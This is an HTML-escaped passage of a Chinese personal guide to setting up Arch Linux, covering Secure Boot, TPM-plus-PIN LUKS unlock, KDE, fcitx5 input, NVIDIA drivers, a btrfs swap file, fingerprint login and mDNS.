&lt;pre&gt;&lt;code&gt;efibootmgr --disk &amp;#x2F;dev&amp;#x2F;nvme1n1 --part 4 --create  --label &amp;quot;Arch Linux&amp;quot; --loader &amp;quot;\EFI\Linux\arch-linux.efi&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;退出 chroot 环境：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;exit
umount -R &amp;#x2F;mnt
reboot
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;pei-zhi-wang-luo&quot;&gt;配置网络&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;systemctl enable NetworkManager
systemctl start NetworkManager
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;chuang-jian-yong-hu&quot;&gt;创建用户&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;配置用户&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;useradd -m alampy
passwd alampy
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;配置 sudo 权限：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;首先配置用户组&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;groupadd sudo
usermod -aG sudo alampy
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;然后运行编辑配置 &lt;code&gt;visudo&lt;&#x2F;code&gt;，取消注释 &lt;code&gt;%sudo ALL=(ALL:ALL) ALL&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;pei-zhi-secure-boot&quot;&gt;配置 Secure Boot&lt;&#x2F;h2&gt;
&lt;p&gt;进入 UEFI 设置，重置 Secure Boot 模式为 Setup Mode，进入系统：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sbctl enroll-keys -mcft
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;参数&lt;&#x2F;th&gt;&lt;th&gt;含义&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;-m&lt;&#x2F;td&gt;&lt;td&gt;添加微软密钥&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;-c&lt;&#x2F;td&gt;&lt;td&gt;添加我们的自定义密钥&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;-f&lt;&#x2F;td&gt;&lt;td&gt;添加固件内置密钥&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;-t&lt;&#x2F;td&gt;&lt;td&gt;添加 TPM 事件日志&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;重启进入 UEFI 设置，开启 Secure Boot。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;pei-zhi-tpm-pin-jie-mi-mo-shi&quot;&gt;配置 TPM + PIN 解密模式&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;sudo systemd-cryptenroll --wipe-slot tpm2 --tpm2-device auto --tpm2-pcrs 7 --tpm2-with-pin=yes &amp;#x2F;dev&amp;#x2F;nvme1n1p5
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;pei-zhi-ci-pan-zi-dong-scrub-ke-xuan&quot;&gt;配置磁盘自动 Scrub（可选）&lt;&#x2F;h2&gt;
&lt;p&gt;Scrub 是 Btrfs 文件系统的一种检查机制，用于检查文件系统的一致性。我们可以配置定时 Scrub 来保证文件系统的健康。&lt;&#x2F;p&gt;
&lt;p&gt;系统默认提供了 &lt;code&gt;btrfs-scrub@.timer&lt;&#x2F;code&gt; 模板，可以用于定期检查 Btrfs 文件系统的一致性。我们可以使用此模板来配置自动 Scrub。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo systemctl enable $(systemd-escape --template=btrfs-scrub@.timer --path &amp;#x2F;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意：Scrub 对整个文件系统进行检查，而非单个子卷。故而我们只需要对挂载点 &lt;code&gt;&#x2F;&lt;&#x2F;code&gt; 进行配置即可。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;an-zhuang-zhuo-mian-huan-jing&quot;&gt;安装桌面环境&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;pacman -S plasma-meta sddm konsole dolphin kwrite ark
systemctl enable sddm
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;包名称&lt;&#x2F;th&gt;&lt;th&gt;用途&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;plasma-meta&lt;&#x2F;td&gt;&lt;td&gt;KDE 桌面环境&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;SDDM&lt;&#x2F;td&gt;&lt;td&gt;会话管理器&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;konsole&lt;&#x2F;td&gt;&lt;td&gt;GUI 终端&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;dolphin&lt;&#x2F;td&gt;&lt;td&gt;文件管理器&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;kwrite&lt;&#x2F;td&gt;&lt;td&gt;记事本&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;ark&lt;&#x2F;td&gt;&lt;td&gt;压缩文件管理工具&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;okular&lt;&#x2F;td&gt;&lt;td&gt;PDF&#x2F;EPUB 文档查看器&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;pei-zhi-zhong-wen-shu-ru-fa&quot;&gt;配置中文输入法&lt;&#x2F;h2&gt;
&lt;p&gt;遵循新设置标准：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;fcitx-im.org&#x2F;wiki&#x2F;Using_Fcitx_5_on_Wayland#KDE_Plasma&quot;&gt;Support in Wayland Compositor: KDE Plasma&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;an-zhuang-shu-ru-fa&quot;&gt;安装输入法&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;sudo pacman -S fcitx5-im fcitx5-chinese-addons fcitx5-rime
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;xiu-gai-huan-jing-bian-liang&quot;&gt;修改环境变量&lt;&#x2F;h3&gt;
&lt;p&gt;编辑 &lt;code&gt;&#x2F;etc&#x2F;environment&lt;&#x2F;code&gt;，写入：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;XMODIFIERS=@im=fcitx
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;不在全局环境变量中设置 &lt;code&gt;GTK_IM_MODULE&lt;&#x2F;code&gt; &amp;amp; &lt;code&gt;QT_IM_MODULE&lt;&#x2F;code&gt; &amp;amp; &lt;code&gt;SDL_IM_MODULE&lt;&#x2F;code&gt;，如遇到无法支持 Wayland IME 的软件，可按需单独设置&lt;&#x2F;p&gt;
&lt;h3 id=&quot;pei-zhi-zai-x11-xia-yun-xing-de-gtk-ying-yong&quot;&gt;配置在 X11 下运行的 GTK 应用&lt;&#x2F;h3&gt;
&lt;p&gt;向 &lt;code&gt;~&#x2F;.gtkrc-2.0&lt;&#x2F;code&gt; 写入：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;gtk-im-module=&amp;quot;fcitx&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;向 &lt;code&gt;~&#x2F;.config&#x2F;gtk-3.0&#x2F;settings.ini&lt;&#x2F;code&gt; 写入：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[Settings]
gtk-im-module=fcitx
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;向 &lt;code&gt;~&#x2F;.config&#x2F;gtk-4.0&#x2F;settings.ini&lt;&#x2F;code&gt; 写入：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[Settings]
gtk-im-module=fcitx
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这些配置不会被 Wayland 下运行的 GTK 应用读取，可以保证 Wayland 应用使用 &lt;code&gt;text-input-v3&lt;&#x2F;code&gt; 的同时，X11 应用使用 &lt;code&gt;fcitx5&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;pei-zhi-shu-ru-fa&quot;&gt;配置输入法&lt;&#x2F;h3&gt;
&lt;p&gt;进入 KDE 的虚拟键盘设置，选择 &lt;code&gt;fcitx5&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ying-yong-pei-zhi&quot;&gt;应用配置&lt;&#x2F;h3&gt;
&lt;p&gt;运行 Chromium&#x2F;Electron 应用时，加入启动参数：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;--ozone-platform-hint=auto --enable-wayland-ime
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;对于 Electron 应用，可做如下设定：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;写入到 &lt;code&gt;~&#x2F;.config&#x2F;electron25-flags.conf&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;--enable-features=WaylandWindowDecorations
--ozone-platform-hint=auto
--enable-wayland-ime
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;写入到 &lt;code&gt;~&#x2F;.config&#x2F;electron13-flags.conf&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;--enable-features=UseOzonePlatform
--ozone-platform=wayland
--enable-wayland-ime
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;对于 VSCode，写入如下配置到 &lt;code&gt;~&#x2F;.config&#x2F;code-flags.conf&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;--enable-features=WaylandWindowDecorations
--ozone-platform-hint=auto
--enable-wayland-ime
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;zao-qi-huan-jing&quot;&gt;早期环境&lt;&#x2F;h3&gt;
&lt;p&gt;写入 &lt;code&gt;&#x2F;usr&#x2F;bin&#x2F;numlock&lt;&#x2F;code&gt;（并给予执行权限）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#!&amp;#x2F;bin&amp;#x2F;bash
for tty in &amp;#x2F;dev&amp;#x2F;tty[0-9]; do
    &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;setleds -D +num &amp;lt; &amp;quot;$tty&amp;quot;
done
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;写入 &lt;code&gt;&#x2F;usr&#x2F;lib&#x2F;initcpio&#x2F;install&#x2F;numlock&lt;&#x2F;code&gt;（并给予执行权限）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#!&amp;#x2F;bin&amp;#x2F;bash
build() {
    add_binary &amp;#x2F;bin&amp;#x2F;bash
    add_binary &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;setleds
    add_binary &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;numlock

    cat &amp;gt;&amp;quot;$BUILDROOT&amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;systemd&amp;#x2F;system&amp;#x2F;numlock.service&amp;quot; &amp;lt;&amp;lt;EOF
[Unit]
Description=Numlock before LUKS
Before=cryptsetup-pre.target
DefaultDependencies=no
[Service]
Type=oneshot
RemainAfterExit=yes
ExecStart=&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;numlock
EOF
    add_systemd_unit cryptsetup-pre.target
    cd &amp;quot;$BUILDROOT&amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;systemd&amp;#x2F;system&amp;#x2F;sysinit.target.wants&amp;quot; || exit
    ln -sf &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;systemd&amp;#x2F;system&amp;#x2F;cryptsetup-pre.target cryptsetup-pre.target
    ln -sf &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;systemd&amp;#x2F;system&amp;#x2F;numlock.service numlock.service
}

help() {
    cat &amp;lt;&amp;lt;HELPEOF
This hook adds support to enable numlock before sd-encrypt hook is run.
HELPEOF
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;修改 &lt;code&gt;&#x2F;etc&#x2F;mkinitcpio.conf&lt;&#x2F;code&gt;，在 HOOKS 中添加 &lt;code&gt;numlock&lt;&#x2F;code&gt;（位于 &lt;code&gt;sd-vconsole&lt;&#x2F;code&gt; 后）&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;mkinitcpio -P
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这保证了解密过程中 Num Lock 被设置。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;sddm-huan-jing&quot;&gt;SDDM 环境&lt;&#x2F;h3&gt;
&lt;p&gt;编辑 &lt;code&gt;&#x2F;etc&#x2F;sddm.conf&lt;&#x2F;code&gt;，加入：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[General]
Numlock=on
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;kde-huan-jing&quot;&gt;KDE 环境&lt;&#x2F;h3&gt;
&lt;p&gt;配置 KDE 的 NumLock 设置为开启。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;pei-zhi-plymouth&quot;&gt;配置 Plymouth&lt;&#x2F;h2&gt;
&lt;p&gt;Plymouth 是一个启动画面框架，可以用来美化启动过程。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;pacman -S plymouth
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;修改 &lt;code&gt;&#x2F;etc&#x2F;mkinitcpio.conf&lt;&#x2F;code&gt;，在 HOOKS 中添加 &lt;code&gt;plymouth&lt;&#x2F;code&gt;（位于 &lt;code&gt;systemd&lt;&#x2F;code&gt; 后），在 FILES 中添加字体（如 &lt;code&gt;FILES=(&#x2F;usr&#x2F;share&#x2F;fonts&#x2F;noto&#x2F;NotoSans-Regular.ttf)&lt;&#x2F;code&gt; ）&lt;&#x2F;p&gt;
&lt;p&gt;修改 &lt;code&gt;&#x2F;etc&#x2F;plymouth&#x2F;plymouthd.conf&lt;&#x2F;code&gt; 配置高分屏缩放：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[Daemon]
DeviceScale=2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;重新生成 initramfs：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;mkinitcpio -P
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;an-zhuang-paru-zuo-wei-aur-helper&quot;&gt;安装 Paru 作为 AUR Helper&lt;&#x2F;h2&gt;
&lt;p&gt;AUR Helper 提供了方便的 AUR 软件包安装方式，这里使用 Paru：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo pacman -S --needed base-devel
git clone https:&amp;#x2F;&amp;#x2F;aur.archlinux.org&amp;#x2F;paru.git
cd paru
makepkg -si
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;an-zhuang-nvidia-qu-dong&quot;&gt;安装 NVIDIA 驱动&lt;&#x2F;h2&gt;
&lt;p&gt;对于 NV160 及之后系列的显卡，可以选择官方开源驱动：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;pacman -S nvidia-open
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;修改 &lt;code&gt;&#x2F;etc&#x2F;mkinitcpio.conf&lt;&#x2F;code&gt;，在 HOOKS 中删除 &lt;code&gt;kms&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;为了保证 plymouth 的显示不出现缩放失败、字体过小等问题，需要使用 early KMS。因此，在 &lt;code&gt;&#x2F;etc&#x2F;mkinitcpio.conf&lt;&#x2F;code&gt; 的 HOOKS 中保留 &lt;code&gt;kms&lt;&#x2F;code&gt; ，并在 MODULES 中添加 &lt;code&gt;nvidia nvidia_modeset nvidia_uvm nvidia_drm&lt;&#x2F;code&gt;。（&lt;&#x2F;p&gt;
&lt;p&gt;配置 pacman hook，创建如下的 &lt;code&gt;&#x2F;etc&#x2F;pacman.d&#x2F;hooks&#x2F;nvidia.hook&lt;&#x2F;code&gt; 文件，以在每次安装新版本驱动后自动重建 initramfs：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[Trigger]
Operation=Install
Operation=Upgrade
Operation=Remove
Type=Package
Target=nvidia-open
Target=linux

[Action]
Description=Updating NVIDIA module in initcpio
Depends=mkinitcpio
When=PostTransaction
NeedsTargets
Exec=&amp;#x2F;bin&amp;#x2F;sh -c &amp;#x27;while read -r trg; do case $trg in linux*) exit 0; esac; done; &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;mkinitcpio -P&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编辑 &lt;code&gt;&#x2F;etc&#x2F;kernel&#x2F;cmdline&lt;&#x2F;code&gt;，添加内核参数：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;nvidia_drm.fbdev=1 nvidia_drm.modeset=1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;重新生成 initramfs：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;mkinitcpio -P
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;an-zhuang-yin-pin-qu-dong&quot;&gt;安装音频驱动&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;pacman -S sof-firmware
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;tian-jia-swap-wen-jian&quot;&gt;添加 Swap 文件&lt;&#x2F;h2&gt;
&lt;p&gt;为了支持休眠及大内存负载应用，我们需要一个 swap 文件。为方便管理、设置快照逻辑，我们将 swap 文件放在单独的子卷中，并挂载到 &lt;code&gt;&#x2F;swap&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;首先，运行：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;mkdir -p &amp;#x2F;mnt
mount &amp;#x2F;dev&amp;#x2F;mapper&amp;#x2F;system &amp;#x2F;mnt
btrfs sub create &amp;#x2F;mnt&amp;#x2F;@swap
umount &amp;#x2F;mnt
mkdir -p &amp;#x2F;swap
mount -o compress=no,space_cache,ssd,discard=async,subvol=@swap &amp;#x2F;dev&amp;#x2F;mapper&amp;#x2F;system &amp;#x2F;swap
btrfs filesystem mkswapfile --size 48g --uuid clear &amp;#x2F;swap&amp;#x2F;swapfile
swapon &amp;#x2F;swap&amp;#x2F;swapfile
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编辑 &lt;code&gt;&#x2F;etc&#x2F;fstab&lt;&#x2F;code&gt;，添加：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;UUID={your-uuid} &amp;#x2F;swap btrfs compress=no,space_cache,ssd,discard=async,subvol=&amp;#x2F;@swap 0 0
&amp;#x2F;swap&amp;#x2F;swapfile none swap defaults 0 0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;lan-ya-pei-dui&quot;&gt;蓝牙配对&lt;&#x2F;h2&gt;
&lt;p&gt;为了使得蓝牙设备在双系统下同时可用，需要提取配对过程中产生的临时密钥并写入到另一系统，请参照：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;title&#x2F;Bluetooth#Dual_boot_pairing&quot;&gt;Bluetooth: Dual boot pairing&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;首先，启用蓝牙服务（新系统默认关闭）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;systemctl enable bluetooth
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;先在 Linux 配对，然后在 Windows 配对，最后提取 Windows 下的密钥并回写到 Linux 系统的 &lt;code&gt;&#x2F;var&#x2F;lib&#x2F;bluetooth&#x2F;BT-Adapter-MAC-address&#x2F;device-MAC-address&#x2F;info&lt;&#x2F;code&gt; 文件中。&lt;&#x2F;p&gt;
&lt;p&gt;部分设备的 MAC 会在每次配对后自增，此时，请修改 Linux 侧的文件夹为自增后的MAC。&lt;&#x2F;p&gt;
&lt;p&gt;最后，重启蓝牙服务：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;systemctl restart bluetooth
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;备注&lt;&#x2F;p&gt;
&lt;p&gt;&lt;del&gt;如果发现蓝牙无法在开机时被自动启用，请检查&lt;&#x2F;del&gt;  &lt;del&gt;&lt;code&gt;~&#x2F;.config&#x2F;bluedevilglobalrc&lt;&#x2F;code&gt;~~~~文件（参见&lt;&#x2F;del&gt; &lt;del&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.reddit.com&#x2F;r&#x2F;ManjaroLinux&#x2F;comments&#x2F;12fgj3o&#x2F;kde_plasma_bluetooth_not_automatically_powered_on&#x2F;?utm_source=share&amp;amp;utm_medium=web3x&amp;amp;utm_name=web3xcss&amp;amp;utm_term=1&amp;amp;utm_content=share_button&quot;&gt;KDE plasma: Bluetooth not automatically powered on at login, try this&lt;&#x2F;a&gt;&lt;&#x2F;del&gt; &lt;del&gt;）&lt;&#x2F;del&gt;&lt;&#x2F;p&gt;
&lt;p&gt;有关蓝牙无法在开机时被自动启用的问题，已提交解决方案（&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;invent.kde.org&#x2F;plasma&#x2F;bluedevil&#x2F;-&#x2F;merge_requests&#x2F;165&quot;&gt;MR #165&lt;&#x2F;a&gt;）并被合并到 KDE 6.0.5 及以上版本，故不再需要此 trick。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zhi-wen-shi-bie&quot;&gt;指纹识别&lt;&#x2F;h2&gt;
&lt;p&gt;安装 &lt;code&gt;fprintd&lt;&#x2F;code&gt; 和 &lt;code&gt;libfprint&lt;&#x2F;code&gt;，由于本人使用的是 FPC 传感器，&lt;code&gt;libfprint&lt;&#x2F;code&gt; 原版还不支持，故从 AUR 安装 &lt;code&gt;libfprint-fpcmoh-git&lt;&#x2F;code&gt;（安全警告：这将引入闭源的专有组件）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;paru -S libfprint-fpcmoh-git
pacman -S fprintd
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;录入指纹：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;fprintd-enroll -f &amp;quot;right-index-finger&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;为了同时启用密码和指纹认证，安装：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;paru -S pam-fprint-grosshack
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;添加 &lt;code&gt;auth sufficient pam_fprintd_grosshack.so&lt;&#x2F;code&gt; 到 &lt;code&gt;&#x2F;etc&#x2F;pam.d&#x2F;sddm&lt;&#x2F;code&gt; 和 &lt;code&gt;&#x2F;etc&#x2F;pam.d&#x2F;sudo&lt;&#x2F;code&gt; 文件起始位置&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zi-dong-deng-lu-bing-suo-ding&quot;&gt;自动登陆并锁定&lt;&#x2F;h2&gt;
&lt;p&gt;写入 &lt;code&gt;&#x2F;etc&#x2F;sddm.conf.d&#x2F;autologin.conf&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[Autologin]
User=alampy
Session=plasma.desktop
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;写入 &lt;code&gt;~&#x2F;.config&#x2F;autostart-scripts&#x2F;00-auto-lock.sh&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#!&amp;#x2F;bin&amp;#x2F;sh
&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;dbus-send --session --type=method_call --dest=org.freedesktop.ScreenSaver &amp;#x2F;ScreenSaver org.freedesktop.ScreenSaver.Lock &amp;amp;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;pei-zhi-shell&quot;&gt;配置 Shell&lt;&#x2F;h2&gt;
&lt;p&gt;安装并使用 Fish：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;pacman -S fish
chsh $(which fish)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;mdns-fu-wu&quot;&gt;mDNS 服务&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;mDNS 是一种零配置网络服务发现协议，允许设备在局域网内自动发现其他设备。常用于 SMB 共享数据集、网络打印机、隔空投送等服务的发现。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;如果需要局域网内的设备发现，安装 &lt;code&gt;avahi&lt;&#x2F;code&gt; 和 &lt;code&gt;nss-mdns&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;pacman -S avahi nss-mdns
systemctl enable avahi-daemon
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;并编辑 &lt;code&gt;&#x2F;etc&#x2F;nsswitch.conf&lt;&#x2F;code&gt;，在 &lt;code&gt;hosts&lt;&#x2F;code&gt; 行添加 &lt;code&gt;mdns_minimal [NOTFOUND=return]&lt;&#x2F;code&gt;（在 &lt;code&gt;resolve&lt;&#x2F;code&gt; 之前）。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;- hosts: mymachines resolve [!UNAVAIL=return] files myhostname dns
+ hosts: mymachines mdns_minimal [NOTFOUND=return] resolve [!UNAVAIL=return] files myhostname dns
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;之后就可以使用 &lt;code&gt;.local&lt;&#x2F;code&gt; 后缀的域名访问局域网内开启了 mDNS 的设备了。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ping another-device.local
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;can-kao-zi-liao&quot;&gt;参考资料&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.yunyi.beiyan.us&#x2F;posts&#x2F;luksNote&#x2F;&quot;&gt;LUKS2 YubiKey 全盘加密手稿 by 北雁云依&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;title&#x2F;Installation_guide&quot;&gt;ArchWiki: Installation guide&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;title&#x2F;Unified_kernel_image&quot;&gt;ArchWiki: Unified kernel image&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;title&#x2F;Snapper&quot;&gt;ArchWiki: Snapper&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
